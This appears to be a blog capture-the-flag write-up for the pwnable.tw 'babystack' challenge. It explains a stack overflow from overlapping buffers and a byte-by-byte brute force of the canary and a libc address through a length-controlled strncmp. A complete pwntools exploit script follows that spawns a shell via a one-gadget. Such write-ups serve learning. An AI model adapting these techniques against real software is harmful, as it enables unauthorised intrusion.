ntype.club

babystack

entry-break my heart gdb

peda couldn’t quite hack this PIE challenge so I switched to gef.

int main()
{
    start(); //sets up mmapd area mem

    char alt[0x40] //rbp-0x60;
    char loc[16]; //rbp-0x20
    char loc2[16]; //rbp-0x10
    entropy = open("/dev/urandom", 0);
    read(entropy, loc, 0x10);   
    *((uint64_t *) mem) = &loc[0];
    *((uint64_t *) mem+8) = &loc[8];

    close(entropy);
    do {
        write(">> ");
        __read_chk(0, loc2, 0x10, 0x10);
        if(*loc2 == '1') {
            if(gpass == 0) {
                prompt(loc);
            } else {
                gpass = 0; continue; //lol
            }
        } else if(*loc2 == '2') {
            if(gpass == 0) { continue; }
            int res = memcmp(mem, loc, 0x10);
            if(res != 0) { __stack_chk_fail(); continue; }
            return 0;
        } else if(*loc2 == '3') {
            if(gpass == 0) { continue; }    
            mcopy(alt);
        }
    } while(1);
}

Program reads some junk from /dev/random and uses it as both a canary and a password.

void prompt(char *buf)
{
    char *loc = buf; //rbp-0x88
    char user[0x80]; //rbp-0x80
    printf("Your password :");
    readinto(user, 0x7f);
    int usz = strlen(user);
    int res = strncmp(user, mem, usz);
    if(res == 0) { gpass = 1; puts("Success"); }
    else { puts("Login failed"); }
}

void mcopy(char *buf)
{
    char *loc = buf; //0x88
    char user[0x80]; //0x80
    printf("Copy");
    readinto(user, 0x3f);
    strcpy(loc, user);
}

The critical thing to note is that the two local buffers overlap, which means that the strcpy in mcopy can overwrite up to 0x7F bytes (not just 0x3F). Furthermore, the length parameter of strncmp is user-controlled, effectively we only have to test one byte against its corresponding value on the stack(the password, libc, return etc).

– Real ugly code –

from pwn import *

#sh = process('./babystack')
sh = remote('chall.pwnable.tw', 10205)

pause()

def brute(sh):
    guess = b''
    for ii in range(0,16):
        print("pass attempt " + str(ii))
        tryy = 1
        while(tryy < 256):
            sh.sendafter('>> ', b'1')
            sh.sendafter('Your passowrd :', guess + p8(tryy) + p8(0))
            chk = sh.recvuntil(b'!')
            if(chk[0:4] == b'Fail'):
                tryy+=1
                if(tryy == 10): 
                    tryy+=1
            else:
                break
        if(tryy == 256):
            tryy = 0
        else:
            sh.sendlineafter('>> ', b'1')
        guess += p8(tryy)
    return guess

def getlibc(sh, filler):
    guess = filler
    ll = len(guess)
    for ii in range(0,7):
        print("libc attempt " + str(ii))
        tryy = 1
        if(ii == 0):
            tryy = u8(b'1')
        while(tryy < 256):
            sh.sendafter('>> ', b'1'*8)
            sh.sendafter('Your passowrd :', guess + p8(tryy) + p8(0))
            chk = sh.recvuntil(b'!')
            if(chk[0:4] == b'Fail'):
                tryy+=1
                if(tryy == 10): 
                    tryy+=1
            else:
                break
        if(tryy == 256):
            tryy = 0
        else:
            sh.sendlineafter('>> ', b'1')
        guess += p8(tryy)
        print('found ' + hex(tryy))
    return guess[ll:]

def login(sh, pas):
    sh.sendlineafter('>> ', b'1')
    sh.sendafter('Your passowrd :', pas)
    return

def bypass(sh):
    sh.sendlineafter('>> ', b'1')
    sh.sendafter('Your passowrd :', b'\x00')
    return

def copy(sh):
    sh.sendlineafter('>> ', b'3')
    sh.sendafter('Copy :', b'Z' * 4)
    return

def exp(sh, passw, sys):  
    exploit = b'Z' * 0x40 + passw + b'A'*0x18 + sys
    login(sh, exploit)              
    bypass(sh)                      
    copy(sh)           
    sh.sendlineafter('>> ', b'2')
    return

crack = brute(sh)
print('crack ' + hex(u64(crack[0:8])) + hex(u64(crack[8:16])))
login(sh, b'Z' * 0x48)
bypass(sh)
copy(sh)
sh.sendlineafter('>> ', b'1')
libc = u64(getlibc(sh, b'Z'*8) + b'\x00') - 0x78439;
print(hex(libc))

sys = p64(libc + 0xf0567)
exp(sh, crack[0:16], sys)
sh.interactive()